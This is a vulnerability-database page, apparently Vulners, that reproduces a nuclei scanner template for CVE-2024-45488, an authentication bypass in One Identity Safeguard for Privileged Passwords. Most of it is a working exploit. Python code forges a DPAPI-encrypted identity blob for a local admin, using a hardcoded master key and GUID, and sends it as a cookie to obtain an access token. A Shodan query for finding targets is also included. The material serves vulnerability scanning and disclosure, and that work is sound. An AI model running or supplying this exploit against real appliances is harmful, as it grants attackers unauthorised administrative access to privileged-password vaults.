Lucene search
K

SafeGuard for Privileged Passwords < 7.5.2 - Authentication Bypass

🗓️ 28 Jun 2026 15:08:32Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 35 Views

SafeGuard for Privileged Passwords < 7.5.2 - Authentication Bypass due to cookie issue, affects virtual appliance installations (VMware or HyperV). Fixed in versions 7.0.5.1 LTS, 7.4.2, and 7.5.2

Related
Refs
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2024-45488
30 Aug 202404:46
circl
CNNVD
One Identity Safeguard for Privileged Passwords 安全漏洞
29 Aug 202400:00
cnnvd
CVE
CVE-2024-45488
30 Aug 202400:00
cve
Cvelist
CVE-2024-45488
30 Aug 202400:00
cvelist
NVD
CVE-2024-45488
30 Aug 202402:15
nvd
Positive Technologies
PT-2024-31658 · Vmware +2 · Vmware +2
29 Aug 202400:00
ptsecurity
RedhatCVE
CVE-2024-45488
23 May 202508:07
redhatcve
Vulnrichment
CVE-2024-45488
30 Aug 202400:00
vulnrichment
id: CVE-2024-45488

info:
  name: SafeGuard for Privileged Passwords < 7.5.2 - Authentication Bypass
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    One Identity Safeguard for Privileged Passwords before 7.5.2 allows unauthorized access because of an issue related to cookies. This only affects virtual appliance installations (VMware or HyperV). The fixed versions are 7.0.5.1 LTS, 7.4.2, and 7.5.2.
  impact: |
    Unauthenticated attackers can bypass authentication and gain unauthorized administrative access to SafeGuard for Privileged Passwords systems.
  remediation: |
    Update One Identity Safeguard for Privileged Passwords to version 7.0.5.1 LTS, 7.4.2, or 7.5.2 or later.
  reference:
    - https://blog.amberwolf.com/blog/2024/september/cve-2024-45488-one-identity-safeguard-for-privileged-passwords-authentication-bypass/
    - https://blog.amberwolf.com/blog/2024/september/skeleton-cookie-breaking-into-safeguard-with-cve-2024-45488/
    - https://gist.github.com/rxwx/c968b3324e74058208fe6e168fd8730f
    - https://support.oneidentity.com/kb/4376740/safeguard-for-privileged-passwords-security-vulnerability-notification-defect-460620
    - https://support.oneidentity.com/product-notification/noti-00001628
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-45488
    epss-score: 0.50172
    epss-percentile: 0.98765
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"Safeguard for Privileged Passwords"
  tags: cve,cve2024,auth-bypass,safeguard,vuln
code:
  - engine:
      - py
      - python3 # requires python to be pre-installed on system running nuclei
    source: |
      # pip install pycryptodome
      from datetime import datetime, timedelta
      from Crypto.Cipher import AES, DES3
      from Crypto.Hash import HMAC, SHA1, SHA512, SHA256
      from Crypto.Util.Padding import pad
      from io import BytesIO
      import argparse
      import string
      import base64
      import uuid
      import os

      class DPAPIBlob:
          CALG_3DES = 0x6603
          CALG_AES_256 = 0x6610

          CALG_SHA1 = 0x8004
          CALG_SHA_256 = 0x800c
          CALG_SHA_512 = 0x800e

          def combine_bytes(self, *arrays):
              return b''.join(arrays)

          def hmac_sha512(self, key, data):
              hmac = HMAC.new(key, digestmod=SHA512)
              hmac.update(data)
              return hmac.digest()

          def derive_key_raw(self, hash_bytes, alg_hash):
              ipad = bytearray([0x36] * 64)
              opad = bytearray([0x5C] * 64)

              for i in range(len(hash_bytes)):
                  ipad[i] ^= hash_bytes[i]
                  opad[i] ^= hash_bytes[i]

              if alg_hash == self.CALG_SHA1:
                  sha1 = SHA1.new()
                  ipad_sha1bytes = sha1.new(ipad).digest()
                  opad_sha1bytes = sha1.new(opad).digest()
                  return self.combine_bytes(ipad_sha1bytes, opad_sha1bytes)
              else:
                  raise Exception(f"Unsupported alg_hash: {alg_hash}")

          def derive_key2(self, key, nonce, hash_algorithm, blob, entropy=None):
              """
              Derive a key using the provided key, nonce, hash algorithm, blob, and optional entropy.

              :param key: The base key material.
              :param nonce: The nonce (salt) value.
              :param hash_algorithm: The hash algorithm identifier (SHA1, SHA256, SHA512).
              :param blob: The additional data to include in the key derivation.
              :param entropy: Optional entropy to include in the key derivation.
              :return: The derived key as a byte array.
              """
              if hash_algorithm == self.CALG_SHA1:
                  hmac = HMAC.new(key, digestmod=SHA1)
              elif hash_algorithm == self.CALG_SHA_256:
                  hmac = HMAC.new(key, digestmod=SHA256)
              elif hash_algorithm == self.CALG_SHA_512:
                  hmac = HMAC.new(key, digestmod=SHA512)
              else:
                  raise Exception(f"Unsupported hash algorithm: {hash_algorithm}")

              key_material = bytearray()
              key_material.extend(nonce)

              if entropy is not None:
                  key_material.extend(entropy)

              key_material.extend(blob)

              hmac.update(key_material)
              return hmac.digest()

          def derive_key(self, key_bytes, salt_bytes, alg_hash, entropy=None):
              if alg_hash == self.CALG_SHA_512:
                  if entropy is not None:
                      return self.hmac_sha512(key_bytes, self.combine_bytes(salt_bytes, entropy))
                  else:
                      return self.hmac_sha512(key_bytes, salt_bytes)
              elif alg_hash == self.CALG_SHA1:
                  ipad = bytearray([0x36] * 64)
                  opad = bytearray([0x5C] * 64)

                  for i in range(len(key_bytes)):
                      ipad[i] ^= key_bytes[i]
                      opad[i] ^= key_bytes[i]

                  buffer_i = self.combine_bytes(ipad, salt_bytes)

                  sha1 = SHA1.new()
                  sha1.update(buffer_i)
                  sha1_buffer_i = sha1.digest()

                  buffer_o = self.combine_bytes(opad, sha1_buffer_i)
                  if entropy is not None:
                      buffer_o = self.combine_bytes(buffer_o, entropy)

                  sha1.update(buffer_o)
                  sha1_buffer_o = sha1.digest()

                  return self.derive_key_raw(sha1_buffer_o, alg_hash)
              else:
                  raise Exception("Unsupported Hash Algorithm")

          def encrypt(self, plaintext, key, algCrypt):
              if algCrypt == self.CALG_3DES:
                  iv = b'\x00' * 8
                  cipher = DES3.new(key, DES3.MODE_CBC, iv)
              elif algCrypt == self.CALG_AES_256:
                  iv = b'\x00' * 16
                  cipher = AES.new(key, AES.MODE_CBC, iv)
              else:
                  raise Exception(f"Unsupported encryption algorithm: {algCrypt}")

              padded_data = pad(plaintext, cipher.block_size)
              return cipher.encrypt(padded_data)

          def create_blob(self, plaintext, masterKey, algCrypt, algHash, masterKeyGuid, flags=0, entropy=None, description=""):
              descBytes = description.encode('utf-16le') if description else b'\x00\x00'
              saltBytes = os.urandom(32)
              hmac2KeyLen = 32

              if algCrypt == self.CALG_3DES:
                  algCryptLen = 192
              elif algCrypt == self.CALG_AES_256:
                  algCryptLen = 256
              else:
                  raise Exception(f"Unsupported encryption algorithm: {algCrypt}")

              if algHash == self.CALG_SHA1:
                  signLen = 20
              elif algHash == self.CALG_SHA_256:
                  signLen = 32
              elif algHash == self.CALG_SHA_512:
                  signLen = 64
              else:
                  raise Exception(f"Unsupported hash algorithm: {algHash}")

              # Derive key
              derivedKeyBytes = self.derive_key(masterKey, saltBytes, algHash, entropy)
              finalKeyBytes = derivedKeyBytes[:algCryptLen // 8]

              # Encrypt data
              encData = self.encrypt(plaintext, finalKeyBytes, algCrypt)

              # Construct the BLOB using BytesIO
              blob = BytesIO()

              # Version
              blob.write((1).to_bytes(4, 'little'))

              # Provider GUID
              providerGuid = uuid.UUID("df9d8cd0-1501-11d1-8c7a-00c04fc297eb").bytes_le
              blob.write(providerGuid)

              # MasterKey version
              blob.write((1).to_bytes(4, 'little'))

              # MasterKey GUID
              blob.write(masterKeyGuid.bytes_le)

              # Flags
              blob.write((flags).to_bytes(4, 'little'))

              # Description length
              blob.write(len(descBytes).to_bytes(4, 'little'))

              # Description
              blob.write(descBytes)

              # Algorithm ID
              blob.write(algCrypt.to_bytes(4, 'little'))

              # Algorithm key length
              blob.write(algCryptLen.to_bytes(4, 'little'))

              # Salt length
              blob.write(len(saltBytes).to_bytes(4, 'little'))

              # Salt
              blob.write(saltBytes)

              # HMAC key length (always 0)
              blob.write((0).to_bytes(4, 'little'))

              # Hash algorithm ID
              blob.write(algHash.to_bytes(4, 'little'))

              # Hash length
              blob.write((len(derivedKeyBytes) * 8).to_bytes(4, 'little'))

              # HMAC2 key length
              blob.write(hmac2KeyLen.to_bytes(4, 'little'))

              # HMAC2 key
              hmac2Key = os.urandom(hmac2KeyLen)
              blob.write(hmac2Key)

              # Data length
              blob.write(len(encData).to_bytes(4, 'little'))

              # Encrypted Data
              blob.write(encData)

              # Create the HMAC (sign) over the entire blob except for the sign field
              signBlob = blob.getvalue()[20:]  # Skip the first 20 bytes for the HMAC calculation
              sign = self.derive_key2(masterKey, hmac2Key, algHash, signBlob, entropy)

              # Sign length
              blob.write(signLen.to_bytes(4, 'little'))

              # Sign
              blob.write(sign)

              return blob.getvalue()

      def main():
          args = {
          'master_key': '48F4153A8C26C2B026562685B67C30EFF119D735',
          'master_key_guid': '98dc3c79-9aa5-4efc-927f-ccec24eaa14e',
          'local': 1,
          'base64': 1
          }
          current_time = datetime.utcnow().strftime("%Y%m%dT%H%M%SZ")
          future_time = (datetime.utcnow() + timedelta(days=1)).strftime("%Y%m%dT%H%M%SZ")

          plaintext= f"local,admin,Primary,Password,{current_time},{future_time}"
          plaintext=plaintext.encode('utf-8')
          if not all(c in string.hexdigits for c in args['master_key']):
              print (f' Provided master key is not valid: {args.master_key}')
              return

          try:
              uuid.UUID(args["master_key_guid"])
          except ValueError:
              print (f' Provided master key GUID is not valid: {args["master_key_guid"]}')
              return

          # Parse the master key and GUID
          masterKey = bytes.fromhex(args['master_key'])
          masterKeyGuid = uuid.UUID(args["master_key_guid"])
          algCrypt = DPAPIBlob.CALG_AES_256
          algHash = DPAPIBlob.CALG_SHA_512
          flags = 0

          if args['local']:
              flags |= 4 # CRYPTPROTECT_LOCAL_MACHINE

          dpapi = DPAPIBlob()
          encrypted_blob = dpapi.create_blob(plaintext, masterKey, algCrypt, algHash, masterKeyGuid, flags)

          if args['base64']:
              output_data = base64.b64encode(encrypted_blob).decode('utf-8')
          else:
              output_data = encrypted_blob.hex(' ')

          print(f"{output_data}")

      if __name__ == "__main__":
          main()

http:
  - method: GET
    path:
      - "{{BaseURL}}/RSTS/UserLogin/LoginController?response_type=token&redirect_uri=https%3A%2F%2Flocalhost&loginRequestStep=6&csrfTokenTextbox=aaa"
    headers:
      Cookie: "CsrfToken=aaa; stsIdentity0={{code_response}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "access_token="
          - "RelyingPartyUrl"
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ae76613359149cee0664dd0583a521e7f6530c2b1d3574c03160bcdfeca0b19f022056dda9705bb78b59f55ecc73e4e2383ce2cea34f777f741065db43983fb8b2bd:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.19.8
EPSS0.50172
SSVC
35